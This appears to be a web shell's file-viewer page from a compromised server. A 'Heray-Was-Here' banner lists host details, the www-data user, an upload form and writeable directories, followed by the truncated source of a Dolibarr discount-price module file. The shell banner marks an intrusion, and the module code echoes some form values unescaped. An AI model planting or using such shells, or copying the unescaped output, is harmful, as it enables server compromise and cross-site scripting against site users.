Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/dev/htdocs/custom/discountprice/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/dev/htdocs/custom/discountprice/product_tab.php
<?php
/* Copyright (C) 2007-2015 Laurent Destailleur  <eldy@users.sourceforge.net>
 * Copyright (C) 2016      Jean-François Ferry	<jfefe@aternatik.fr>
 * Copyright (C) 2017      Open-DSI         	<support@open-dsi.fr>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <http://www.gnu.org/licenses/>.
 */

/**
 *   	\file       htdocs/discountprice/list.php
 *		\ingroup    discountprice
 *		\brief
 */

// Change this following line to use the correct relative path (../, ../../, etc)
$res=0;
if (! $res && file_exists("../../main.inc.php")) $res=@include '../../main.inc.php';					// to work if your module directory is into dolibarr root htdocs directory
if (! $res && file_exists("../../../main.inc.php")) $res=@include '../../../main.inc.php';			// to work if your module directory is into a subdir of root htdocs directory
if (! $res && file_exists("../../../../dolibarr/htdocs/main.inc.php")) $res=@include '../../../../dolibarr/htdocs/main.inc.php';     // Used on dev env only
if (! $res && file_exists("../../../../../dolibarr/htdocs/main.inc.php")) $res=@include '../../../../../dolibarr/htdocs/main.inc.php';   // Used on dev env only
if (! $res) die("Include of main fails");
// Change this following line to use the correct relative path from htdocs
require_once DOL_DOCUMENT_ROOT.'/core/lib/functions2.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.form.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/class/html.formother.class.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/date.lib.php';
require_once DOL_DOCUMENT_ROOT.'/core/lib/product.lib.php';
require_once DOL_DOCUMENT_ROOT.'/product/class/product.class.php';
dol_include_once('/discountprice/class/discountpriceproduct.class.php');

// Load traductions files requiredby by page
$langs->load("discountprice@discountprice");
$langs->load("main");
$langs->load("products");
$langs->load("other");

// Get parameters
$productid	        = GETPOST('id','int');
$productref	        = GETPOST('ref','alpha');
$discountpriceid	= GETPOST('discountpriceid','int');
$action		        = GETPOST('action','alpha');
$mode		        = GETPOST('mode','alpha');

$date_begin      = dol_mktime(0, 0, 0, GETPOST('date_begin_month', 'int'), GETPOST('date_begin_day', 'int'), GETPOST('date_begin_year', 'int'));
$date_end        = dol_mktime(0, 0, 0, GETPOST('date_end_month', 'int'), GETPOST('date_end_day', 'int'), GETPOST('date_end_year', 'int'));
$label           = GETPOST('label', 'alpha');
$discount        = GETPOST('discount', 'int');
$price           = GETPOST('price', 'int');

$sall                    = GETPOST("sall","alpha");
$search_date_begin_month = GETPOST('search_date_begin_month','int');
$search_date_begin_year  = GETPOST('search_date_begin_year','int');
$search_date_end_month   = GETPOST('search_date_end_month','int');
$search_date_end_year    = GETPOST('search_date_end_year','int');
$search_label            = GETPOST('search_label','alpha');
$search_uclogin          = GETPOST('search_uclogin','alpha');
$search_umlogin          = GETPOST('search_umlogin','alpha');
$search_datec_month      = GETPOST('search_datec_month','int');
$search_datec_year       = GETPOST('search_datec_year','int');
$search_tms_month        = GETPOST('search_tms_month','int');
$search_tms_year         = GETPOST('search_tms_year','int');
$search_statut           = GETPOST('search_statut','int');
$optioncss               = GETPOST('optioncss','alpha');

if (empty($search_statut)) $search_statut = 1;
if (GETPOST("button_removefilter_x") || GETPOST("button_removefilter.x") ||GETPOST("button_removefilter")) // All test are required to be compatible with all browsers
{
    $search_date_begin_month = '';
    $search_date_begin_year  = '';
    $search_date_end_month   = '';
    $search_date_end_year    = '';
    $search_label            = '';
    $search_uclogin          = '';
    $search_umlogin          = '';
    $search_datec_month      = '';
    $search_datec_year       = '';
    $search_tms_month        = '';
    $search_tms_year         = '';
    $search_statut           = 1;
}

// Load variable for pagination
$limit      = GETPOST("limit") ? GETPOST("limit","int") : $conf->liste_limit;
$sortfield  = GETPOST('sortfield','alpha');
$sortorder  = GETPOST('sortorder','alpha');
$page       = GETPOST('page','int');
if ($page == -1) { $page = 0; }
$offset     = $limit!=-1?$limit * $page:0;
$pageprev   = $page - 1;
$pagenext   = $page + 1;
if (! $sortfield) $sortfield="dpp.date_begin"; // Set here default search field
if (! $sortorder) $sortorder="DESC";

// Right access
if (!$user->rights->discountprice->lire || ($productid <= 0 && empty($productref))) {
    accessforbidden();
}

// Security check
$socid=0;
$fieldvalue = (! empty($productid) ? $productid : (! empty($productref) ? $productref : ''));
$fieldtype = (! empty($productref) ? 'ref' : 'rowid');
if ($user->societe_id) $socid=$user->societe_id;
$result=restrictedArea($user,'produit|service',$fieldvalue,'product&product','','',$fieldtype);

// Initialize technical object to manage hooks. Note that conf->hooks_modules contains array
$contextpage='discountpricelist';
$hookmanager->initHooks(array($contextpage));

// Load Product if id or ref is provided as parameter
$product = new Product($db);
$result=$product->fetch($productid, $productref);
if ($result < 0) dol_print_error($db);
$productid=intval($product->id);

// Discount boundaries
$price_min = $conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT == 'HT' ? $product->price_min : $product->price_min_ttc;
$price_max = $conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT == 'HT' ? $product->price : $product->price_ttc;
$discount_max = 100 - ($price_min * 100 / $price_max);
$precision = pow(10, $conf->global->DISCOUNTPRICE_DISCOUNT_ROUND_PRECISION);
$discount_max = floor($discount_max * $precision) / $precision;

// Load object if discount price id is provided as parameter
$object = new DiscountPriceProduct($db);
if ($discountpriceid > 0 && $action != 'add')
{
    $result = $object->fetch($discountpriceid);
    if ($result < 0) dol_print_error($db);
}

// List of fields to search into when doing a "search in all"
$fieldstosearchall = array(
    'dpp.label'=>'Label',
    'uc.login'=>'Author',
    'um.login'=>'ModifiedBy',
);

// Definition of fields for list
$arrayfields=array(
    'dpp.date_begin'=>array('label'=>$langs->trans("DateStart"), 'checked'=>1),
    'dpp.date_end'=>array('label'=>$langs->trans("DateEnd"), 'checked'=>1),
    'dpp.label'=>array('label'=>$langs->trans("Label"), 'checked'=>1),
    'dpp.discount'=>array('label'=>$langs->trans("Discount"), 'checked'=>1),
    'dpp.price'=>array('label'=>$langs->trans("DiscountPriceDiscountPriceHT"), 'checked'=>1),
    'dpp.price_ttc'=>array('label'=>$langs->trans("DiscountPriceDiscountPriceTTC"), 'checked'=>1),
    'uc.login'=>array('label'=>$langs->trans("Author"), 'checked'=>0),
    'um.login'=>array('label'=>$langs->trans("ModifiedBy"), 'checked'=>0),
    'dpp.datec'=>array('label'=>$langs->trans("DateCreationShort"), 'checked'=>0, 'position'=>500),
    'dpp.tms'=>array('label'=>$langs->trans("DateModificationShort"), 'checked'=>0, 'position'=>500),
    'status'=>array('label'=>$langs->trans("Status"), 'checked'=>1, 'position'=>1000),
);

/*******************************************************************
* ACTIONS
*
* Put here all code to do according to value of "action" parameter
********************************************************************/

$error = 0;
$parameters=array();
$reshook=$hookmanager->executeHooks('doActions',$parameters,$object,$action);    // Note that $action and $object may have been modified by some hooks
if ($reshook < 0) setEventMessages($hookmanager->error, $hookmanager->errors, 'errors');

include DOL_DOCUMENT_ROOT.'/core/actions_changeselectedfields.inc.php';

if (empty($reshook) && empty($conf->global->PRODUIT_MULTIPRICES))
{
    // Action to add
    if ($action == 'add' && $user->rights->discountprice->creer) {
        if (empty($date_begin))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.date_begin']['label'])), null, 'errors');
            $error++;
        }
        if (empty($date_end))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.date_end']['label'])), null, 'errors');
            $error++;
        }
        if (!empty($date_end) && !empty($date_begin) && $date_begin > $date_end)
        {
            setEventMessages($langs->transnoentities('ErrorTimeline', $langs->transnoentities($arrayfields['dpp.date_begin']['label']) . ' ' . $langs->transnoentities("and") . ' ' . $langs->transnoentities($arrayfields['dpp.date_end']['label'])), null, 'errors');
            $error++;
        }
        if (empty($label))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.label']['label'])), null, 'errors');
            $error++;
        }
        if (empty($discount) && empty($price))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.discount']['label']) . ' ' . $langs->transnoentities("or") . ' ' . $langs->transnoentities($arrayfields['dpp.price']['label'])), null, 'errors');
            $error++;
        }
        if (!empty($discount) && ($discount < 0 || $discount > $discount_max))
        {
            setEventMessages($langs->transnoentities('ErrorValueBetween', $langs->transnoentities($arrayfields['dpp.discount']['label']), 0, $discount_max), null, 'errors');
            $error++;
        }
        if (!empty($price) && ($price < $price_min || $price > $price_max))
        {
            setEventMessages($langs->transnoentities('ErrorValueBetween', $langs->transnoentities($arrayfields['dpp.price']['label']), price($price_min), price($price_max)), null, 'errors');
            $error++;
        }

        if (! $error) {
            $object->fk_product = $productid;
            $object->date_begin = $date_begin;
            $object->date_end = $date_end;
            $object->label = $label;
            $object->discount = !empty($discount)?floor($discount * $precision) / $precision:null;
            if ($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT == 'HT') {
                $object->price = $price;
                $object->price_ttc = null;
            } else {
                $object->price = null;
                $object->price_ttc = $price;
            }

            $result = $object->create($user);
            if ($result > 0) {
                // Add OK
                setEventMessages("RecordSaved", null);
                $action = '';
            } else {
                if ($result == -4) {
                    $mode = 'conflictlist';
                } else {
                    setEventMessages($object->errorsToString(), null, 'errors');
                }
            }
        }
    }

    // Action to update
    if ($action == 'update' && $user->rights->discountprice->creer && !$object->activated) {
        if (empty($date_begin))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.date_begin']['label'])), null, 'errors');
            $error++;
        }
        if (empty($date_end))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.date_end']['label'])), null, 'errors');
            $error++;
        }
        if (!empty($date_end) && !empty($date_begin) && $date_begin > $date_end)
        {
            setEventMessages($langs->transnoentities('ErrorTimeline', $langs->transnoentities($arrayfields['dpp.date_begin']['label']) . ' ' . $langs->transnoentities("and") . ' ' . $langs->transnoentities($arrayfields['dpp.date_end']['label'])), null, 'errors');
            $error++;
        }
        if (empty($label))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.label']['label'])), null, 'errors');
            $error++;
        }
        if (empty($discount) && empty($price))
        {
            setEventMessages($langs->transnoentities('ErrorFieldRequired', $langs->transnoentities($arrayfields['dpp.discount']['label']) . ' ' . $langs->transnoentities("or") . ' ' . $langs->transnoentities($arrayfields['dpp.price']['label'])), null, 'errors');
            $error++;
        }
        if (!empty($discount) && ($discount < 0 || $discount > $discount_max))
        {
            setEventMessages($langs->transnoentities('ErrorValueBetween', $langs->transnoentities($arrayfields['dpp.discount']['label']), 0, $discount_max), null, 'errors');
            $error++;
        }
        if (!empty($price) && ($price < $price_min || $price > $price_max))
        {
            setEventMessages($langs->transnoentities('ErrorValueBetween', $langs->transnoentities($arrayfields['dpp.price']['label']), price($price_min), price($price_max)), null, 'errors');
            $error++;
        }

        if (! $error) {
            $object->date_begin = $date_begin;
            $object->date_end = $date_end;
            $object->label = $label;
            $object->discount = !empty($discount)?floor($discount * $precision) / $precision:null;
            if ($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT == 'HT') {
                $object->price = $price;
                $object->price_ttc = null;
            } else {
                $object->price = null;
                $object->price_ttc = $price;
            }

            $result = $object->update($user);
            if ($result > 0) {
                // Modfiy OK
                setEventMessages("RecordSaved", null);
                $action = '';
            } else {
                if ($result == -4) {
                    $mode = 'conflictlist';
                } else {
                    setEventMessages($object->errorsToString(), null, 'errors');
                }
                $action = 'edit';
            }
        }
    }

    // Action to delete
    if ($action == 'confirm_delete' && $user->rights->discountprice->supprimer && !$object->activated) {
        $result = $object->delete($user);
        if ($result > 0) {
            // Delete OK
            setEventMessages("RecordDeleted", null);
        } else {
            setEventMessages($object->errorsToString(), null, 'errors');
        }
        $action = '';
    }
}


/***************************************************
* VIEW
*
* Put here all code to build page
****************************************************/

$now = dol_now();
$now_text = dol_print_date($now, 'dayrfc');

$form      = new Form($db);
$formother = new FormOther($db);

$titre = $langs->trans("CardProduct" . $product->type);
llxHeader("",$titre);

// Parameters
$params = '';
if ($limit > 0 && $limit != $conf->liste_limit) $params .= '&limit=' . $limit;
if (intval($productid) > 0) $params .= '&id=' . urlencode($productid);
if ($search_date_begin_month != '') $params .= '&search_date_begin_month=' . urlencode($search_date_begin_month);
if ($search_date_begin_year != '') $params .= '&search_date_begin_year=' . urlencode($search_date_begin_year);
if ($search_date_end_month != '') $params .= '&search_date_end_month=' . urlencode($search_date_end_month);
if ($search_date_end_year != '') $params .= '&search_date_end_year=' . urlencode($search_date_end_year);
if ($search_label != '') $params .= '&search_label=' . urlencode($search_label);
if ($search_uclogin != '') $params .= '&search_uclogin=' . urlencode($search_uclogin);
if ($search_umlogin != '') $params .= '&search_umlogin=' . urlencode($search_umlogin);
if ($search_datec_month != '') $params .= '&search_datec_month=' . urlencode($search_datec_month);
if ($search_datec_year != '') $params .= '&search_datec_year=' . urlencode($search_datec_year);
if ($search_tms_month != '') $params .= '&search_tms_month=' . urlencode($search_tms_month);
if ($search_tms_year != '') $params .= '&search_tms_year=' . urlencode($search_tms_year);
if ($search_statut != '') $params .= '&search_statut=' . urlencode($search_statut);
if ($optioncss != '') $params .= '&optioncss=' . $optioncss;

// Header product
$head = product_prepare_head($product);
$picto = ($product->type == Product::TYPE_SERVICE ? 'service' : 'product');
dol_fiche_head($head, 'discountprice_product', $titre, 0, $picto);
dol_banner_tab($product, 'ref', '', ($user->societe_id ? 0 : 1), 'ref');

print '<div class="fichecenter">';

print '<div class="underbanner clearboth"></div>';
print '<table class="border tableforfield" width="100%">';

// MultiPrix
if (! empty($conf->global->PRODUIT_MULTIPRICES)) {
    print '<tr><td>' . $langs->trans("ProductsOrServiceMultiPrice") . ' - ' . $langs->trans("NotSupported") . '</td></tr>';

    print "</table>\n";

    print '</div>';
    print '<div style="clear:both"></div>';

    dol_fiche_end();

    // End of page
    llxFooter();
    $db->close();
    exit();
} else {
    // Discount maximum
    print '<tr><td width="20%">';
    print $langs->trans("DiscountPriceMaximumDiscount");
    print ($conf->global->DISCOUNTPRICE_CALCULATION_MODE_WITH_EXISTING_DISCOUNT == 1 ? '' : ' ' . $langs->trans("DiscountPriceMaximumDiscountWithoutThirdpartyDiscount"));
    print '</td><td>';
    print $discount_max . '%';
    print '</td></tr>';

    // Price minimum
    print '<tr><td>' . $langs->trans("DiscountPriceMinimumPrice") . '</td><td>';
    print price($price_min) . ' ' . $langs->trans($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT);
    print '</td></tr>';

    // Price maximum
    print '<tr><td>' . $langs->trans("DiscountPriceMaximumPrice") . '</td><td>';
    print price($price_max) . ' ' . $langs->trans($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT);
    print '</td></tr>';

    // Price by quantity
    if (!empty($conf->global->PRODUIT_CUSTOMER_PRICES_BY_QTY)) {
        print '<tr><td>' . $langs->trans("PriceByQuantity") . '</td>';
        print '<td>';
        print $langs->trans("NotSupported");
        print '</td></tr>';
    }
}

print "</table>\n";

print '</div>';
print '<div style="clear:both"></div>';


dol_fiche_end();

// Confirmation de la suppression de la ligne
if ($action == 'delete') {
    print $form->formconfirm($_SERVER["PHP_SELF"] . '?' . 'discountpriceid=' . $discountpriceid . $params, $langs->trans('DeleteLine'), $langs->trans('ConfirmDeleteLine'), 'confirm_delete', '', 'yes', 1);
}

// Form to add a new promo
//--------------------------------------
if ($user->rights->discountprice->creer) {
    if ($action != 'add' && $action != 'edit') {
        $discountpriceid = '';
        $date_begin      = '';
        $date_end        = '';
        $label           = '';
        $discount        = '';
        $price           = '';
    } elseif ($action == 'edit') {
        $date_begin = $object->date_begin;
        $date_end = $object->date_end;
        $label = $object->label;
        $discount = !empty($object->discount) ? $object->discount : '';
        if ($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT == 'HT') {
            $price = $object->price;
        } else {
            $price = $object->price_ttc;
        }
    }

    print '<form id="adddiscount" action="' . $_SERVER['PHP_SELF'] . '" method="POST">';
    print '<input type="hidden" name="token" value="' . $_SESSION['newtoken'] . '">';
    print '<input type="hidden" name="action" value="' . ($action != 'edit' ? 'add' : 'update') . '">';
    print '<input type="hidden" name="id" value="' . $productid . '">';
    print '<input type="hidden" name="discountpriceid" value="' . $discountpriceid . '">';
    print '<table class="noborder" width="100%">';

    // Line for title
    print '<tr class="liste_titre">';
    print '<td align="center" width="180px" class="nowrap">' . $arrayfields['dpp.date_begin']['label'] . '</td>';
    print '<td align="center" width="180px" class="nowrap">' . $arrayfields['dpp.date_end']['label'] . '</td>';
    print '<td class="nowrap">' . $arrayfields['dpp.label']['label'] . '</td>';
    print '<td align="center" width="100px" class="nowrap">' . $arrayfields['dpp.discount']['label'] . '</td>';
    print '<td align="center" width="100px" class="nowrap">' . ($conf->global->DISCOUNTPRICE_BASE_PRICE_DISCOUNT == 'HT'?$arrayfields['dpp.price']['label']:$arrayfields['dpp.price_ttc']['label']) . '</td>';
    print '<td width="100px" class="nowrap"></td>';
    print '</tr>';

    // Line to enter new values
    print '<tr>';
    print '<td align="center">';
    $form->select_date($date_begin, 'date_begin_', '', '', '', "date_begin", 1, 1);
    print '</td>';
    print '<td align="center">';
    $form->select_date($date_end, 'date_end_', '', '', '', "date_end", 1, 1);
    print '</td>';
    print '<td><input type="text" class="flat" name="label" value="' . $label . '" style="width: 98%"></td>' . "\n";
    print '<td align="center"><input type="text" class="flat" id="discount" name="discount" value="' . $discount . '" style="width: 80px"></td>' . "\n";
    print '<td align="center"><input type="text" class="flat" id="price" name="price" value="' . $price . '" style="width: 80px"></td>' . "\n";
    if ($action != 'edit')
        print '<td align="center"><input type="submit" class="button" name="actionadd" value="' . $langs->trans("Add") . '"></td>';
    else
        print '<td align="center"><input type="submit" class="button" name="actionupdate" value="' . $langs->trans("Update") . '"></td>';
    print "</tr>";

    print "</table>";
    print '</form>';

    print <<<SCRIPT
    <script type="text/javascript" language="javascript">
        $(document).ready(function () {
            var discount = $("form#adddiscount input#discount");
            var price = $("form#adddiscount input#price");
            
            discount.on("keypress", function(event) {
                price.val('');
            });
            price.on("keypress", function(event) {
                discount.val('');
            });
        });
    </script>
SCRIPT;

    print '<br>';
}

if ($mode != 'agenda') {
    $sql = "SELECT";
    $sql .= " dpp.rowid,";
    $sql .= " dpp.date_begin,";
    $sql .= " dpp.date_end,";
    $sql .= " dpp.label,";
    $sql .= " dpp.discount,";
    $sql .= " dpp.price,";
    $sql .= " dpp.price_ttc,";
    $sql .= " dpp.datec,";
    $sql .= " dpp.tms,";
    $sql .= " dpp.fk_user_creat,";
    $sql .= " uc.login as login_user_creat,";
    $sql .= " dpp.fk_user_modif,";
    $sql .= " um.login as login_user_modif,";
    $sql .= " (dpp.date_end >= '".$db->escape($now_text)."') as status";
    $parameters = array();
    $reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters);    // Note that $action and $object may have been modified by hook
    $sql .= $hookmanager->resPrint;
    $sql .= " FROM " . MAIN_DB_PREFIX . "discountprice_product as dpp";
    $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "user as uc";
    $sql .= "  ON uc.rowid = dpp.fk_user_creat";
    $sql .= " LEFT JOIN " . MAIN_DB_PREFIX . "user as um";
    $sql .= "  ON um.rowid = dpp.fk_user_modif";
    $sql .= " WHERE dpp.entity IN (" . getEntity('discountprice', 1) . ")";
    $sql .= " AND dpp.fk_product = $productid";
    if ($mode == 'conflictlist') {
        $begin = "'".$db->idate($object->date_begin)."'";
        $end = "'".$db->idate($object->date_end)."'";
        if (!empty($object->id)) $sql .= " AND rowid != ".$object->id;
        $sql .= " AND (($begin <= date_begin AND date_begin <= $end)";
        $sql .= "   OR ($begin <= date_end AND date_end <= $end)";
        $sql .= "   OR (date_begin <= $begin AND $begin <= date_end)";
        $sql .= "   OR (date_begin <= $end AND $end <= date_end))";
    } else {
        if ($search_date_begin_month > 0) {
            if ($search_date_begin_year > 0)
                $sql .= " AND dpp.date_begin BETWEEN '" . $db->idate(dol_get_first_day($search_date_begin_year, $search_date_begin_month, false)) . "' AND '" . $db->idate(dol_get_last_day($search_date_begin_year, $search_date_begin_month, false)) . "'";
            else
                $sql .= " AND date_format(dpp.date_begin, '%m') = '" . $search_date_begin_month . "'";
        } else if ($search_date_begin_year > 0) {
            $sql .= " AND dpp.date_begin BETWEEN '" . $db->idate(dol_get_first_day($search_date_begin_year, 1, false)) . "' AND '" . $db->idate(dol_get_last_day($search_date_begin_year, 12, false)) . "'";
        }
        if ($search_date_end_month > 0) {
            if ($search_date_end_year > 0)
                $sql .= " AND dpp.date_end BETWEEN '" . $db->idate(dol_get_first_day($search_date_end_year, $search_date_end_month, false)) . "' AND '" . $db->idate(dol_get_last_day($search_date_end_year, $search_date_end_month, false)) . "'";
            else
                $sql .= " AND date_format(dpp.date_end, '%m') = '" . $search_date_end_month . "'";
        } else if ($search_date_end_year > 0) {
            $sql .= " AND dpp.date_end BETWEEN '" . $db->idate(dol_get_first_day($search_date_end_year, 1, false)) . "' AND '" . $db->idate(dol_get_last_day($search_date_end_year, 12, false)) . "'";
        }
        if ($search_label) $sql .= natural_search("dpp.label", $search_label);
        if ($search_datec_month > 0) {
            if ($search_datec_year > 0)
                $sql .= " AND dpp.datec BETWEEN '" . $db->idate(dol_get_first_day($search_datec_year, $search_datec_month, false)) . "' AND '" . $db->idate(dol_get_last_day($search_datec_year, $search_datec_month, false)) . "'";
            else
                $sql .= " AND date_format(dpp.datec, '%m') = '" . $search_datec_month . "'";
        } else if ($search_datec_year > 0) {
            $sql .= " AND dpp.datec BETWEEN '" . $db->idate(dol_get_first_day($search_datec_year, 1, false)) . "' AND '" . $db->idate(dol_get_last_day($search_datec_year, 12, false)) . "'";
        }
        if ($search_tms_month > 0) {
            if ($search_tms_year > 0)
                $sql .= " AND dpp.tms BETWEEN '" . $db->idate(dol_get_first_day($search_tms_year, $search_tms_month, false)) . "' AND '" . $db->idate(dol_get_last_day($search_tms_year, $search_tms_month, false)) . "'";
            else
                $sql .= " AND date_format(dpp.tms, '%m') = '" . $search_tms_month . "'";
        } else if ($search_tms_year > 0) {
            $sql .= " AND dpp.tms BETWEEN '" . $db->idate(dol_get_first_day($search_tms_year, 1, false)) . "' AND '" . $db->idate(dol_get_last_day($search_tms_year, 12, false)) . "'";
        }
        if (!empty($search_uclogin)) $sql .= natural_search("uc.login", $search_uclogin);
        if (!empty($search_umlogin)) $sql .= natural_search("um.login", $search_umlogin);
        if ($search_statut > 0) {
            if ($search_statut == 1) {
                $sql .= " AND dpp.date_end >= '" . $db->escape($now_text) . "'";
            } else {
                $sql .= " AND dpp.date_end < '" . $db->escape($now_text) . "'";
            }
        }
        if ($sall) $sql .= natural_search(array_keys($fieldstosearchall), $sall);
    }
    // Add where from hooks
    $parameters = array('mode' => $mode, 'action' => $action);
    $reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters);    // Note that $action and $object may have been modified by hook
    $sql .= $hookmanager->resPrint;
    $sql .= $db->order($sortfield, $sortorder);

    // Count total nb of records
    $nbtotalofrecords = 0;
    if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) {
        $result = $db->query($sql);
        $nbtotalofrecords = $db->num_rows($result);
        $db->free($result);
    }

    if ($limit != -1) $sql .= $db->plimit($limit + 1, $offset);

    $resql = $db->query($sql);
    if ($resql) {
        $num = $db->num_rows($resql);

        // Table list
        //--------------------------------------
        print '<form method="POST" id="searchFormList" action="' . $_SERVER["PHP_SELF"] . '">';
        if ($optioncss != '') print '<input type="hidden" name="optioncss" value="' . $optioncss . '">';
        print '<input type="hidden" name="token" value="' . $_SESSION['newtoken'] . '">';
        print '<input type="hidden" name="formfilteraction" id="formfilteraction" value="list">';
        print '<input type="hidden" name="action" value="list">';
        print '<input type="hidden" name="id" value="' . $productid . '">';
        print '<input type="hidden" name="sortfield" value="' . $sortfield . '">';
        print '<input type="hidden" name="sortorder" value="' . $sortorder . '">';

        if ($mode == 'conflictlist') {
            $title = '<span style="color: red">'.$langs->trans("DiscountPriceErrorDiscountConflictList").'</span>';
        } else {
            $title = $langs->trans("DiscountPriceDiscountList");
        }
        print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $params, $sortfield, $sortorder, '', $num, $nbtotalofrecords, 'title_products', 0, '', '', $limit);

        if ($sall) {
            foreach ($fieldstosearchall as $key => $val) $fieldstosearchall[$key] = $langs->trans($val);
            print $langs->trans("FilterOnInto", $all) . join(', ', $fieldstosearchall);
        }

        $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage;
        $selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage);    // This also change content of $arrayfields

        print '<table id="tablelines" class="liste">';

        // Fields title
        print '<tr class="liste_titre nodrag nodrop">';
        if (!empty($arrayfields['dpp.date_begin']['checked'])) print_liste_field_titre($arrayfields['dpp.date_begin']['label'], $_SERVER["PHP_SELF"], "dpp.date_begin", "", $params, 'align="center" width="120px"class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['dpp.date_end']['checked'])) print_liste_field_titre($arrayfields['dpp.date_end']['label'], $_SERVER["PHP_SELF"], "dpp.date_end", "", $params, 'align="center" width="120px"class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['dpp.label']['checked'])) print_liste_field_titre($arrayfields['dpp.label']['label'], $_SERVER["PHP_SELF"], "dpp.label", "", $params, 'class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['dpp.discount']['checked'])) print_liste_field_titre($arrayfields['dpp.discount']['label'], $_SERVER["PHP_SELF"], "dpp.discount", "", $params, 'align="right" width="160px" class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['dpp.price']['checked'])) print_liste_field_titre($arrayfields['dpp.price']['label'], $_SERVER["PHP_SELF"], "dpp.price", "", $params, 'align="right" width="160px" class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['dpp.price_ttc']['checked'])) print_liste_field_titre($arrayfields['dpp.price_ttc']['label'], $_SERVER["PHP_SELF"], "dpp.price_ttc", "", $params, 'align="right" width="160px" class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['uc.login']['checked'])) print_liste_field_titre($arrayfields['uc.login']['label'], $_SERVER["PHP_SELF"], "uc.login", "", $params, 'align="center" width="120px" class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['um.login']['checked'])) print_liste_field_titre($arrayfields['um.login']['label'], $_SERVER["PHP_SELF"], "um.login", "", $params, 'align="center" width="120px" class="nowrap"', $sortfield, $sortorder);
        // Hook fields
        $parameters = array('arrayfields' => $arrayfields);
        $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters);    // Note that $action and $object may have been modified by hook
        print $hookmanager->resPrint;
        if (!empty($arrayfields['dpp.datec']['checked'])) print_liste_field_titre($arrayfields['dpp.datec']['label'], $_SERVER["PHP_SELF"], "dpp.datec", "", $params, 'align="center" width="120px" class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['dpp.tms']['checked'])) print_liste_field_titre($arrayfields['dpp.tms']['label'], $_SERVER["PHP_SELF"], "dpp.tms", "", $params, 'align="center" width="120px" class="nowrap"', $sortfield, $sortorder);
        if (!empty($arrayfields['status']['checked'])) print_liste_field_titre($arrayfields['status']['label'], $_SERVER["PHP_SELF"], "status", "", $params, 'align="center" width="100px"', $sortfield, $sortorder);
        print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], "", '', '', 'align="right"', $sortfield, $sortorder, 'maxwidthsearch ');
        print '</tr>' . "\n";

        // Fields title search
        if ($mode != 'conflictlist') {
            print '<tr class="liste_titre nodrag nodrop">';
            if (!empty($arrayfields['dpp.date_begin']['checked'])) {
                print '<td class="liste_titre" align="center"><input class="flat" type="text" size="1" maxlength="2" name="search_date_begin_month" value="' . $search_date_begin_month . '">';
                $formother->select_year($search_date_begin_year ? $search_date_begin_year : -1, 'search_date_begin_year', 1, 20, 5);
                print '</td>' . "\n";
            }
            if (!empty($arrayfields['dpp.date_end']['checked'])) {
                print '<td class="liste_titre" align="center"><input class="flat" type="text" size="1" maxlength="2" name="search_date_end_month" value="' . $search_date_end_month . '">';
                $formother->select_year($search_date_end_year ? $search_date_end_year : -1, 'search_date_end_year', 1, 20, 5);
                print '</td>' . "\n";
            }
            if (!empty($arrayfields['dpp.label']['checked'])) print '<td class="liste_titre"><input type="text" class="flat" name="search_label" value="' . $search_label . '" size="10"></td>' . "\n";
            if (!empty($arrayfields['dpp.discount']['checked'])) print '<td class="liste_titre" align="center"></td>' . "\n";
            if (!empty($arrayfields['dpp.price']['checked'])) print '<td class="liste_titre" align="center"></td>' . "\n";
            if (!empty($arrayfields['dpp.price_ttc']['checked'])) print '<td class="liste_titre" align="center"></td>' . "\n";
            if (!empty($arrayfields['uc.login']['checked'])) print '<td class="liste_titre" align="center"><input type="text" class="flat" name="search_uclogin" value="' . $search_uclogin . '" size="10"></td>' . "\n";
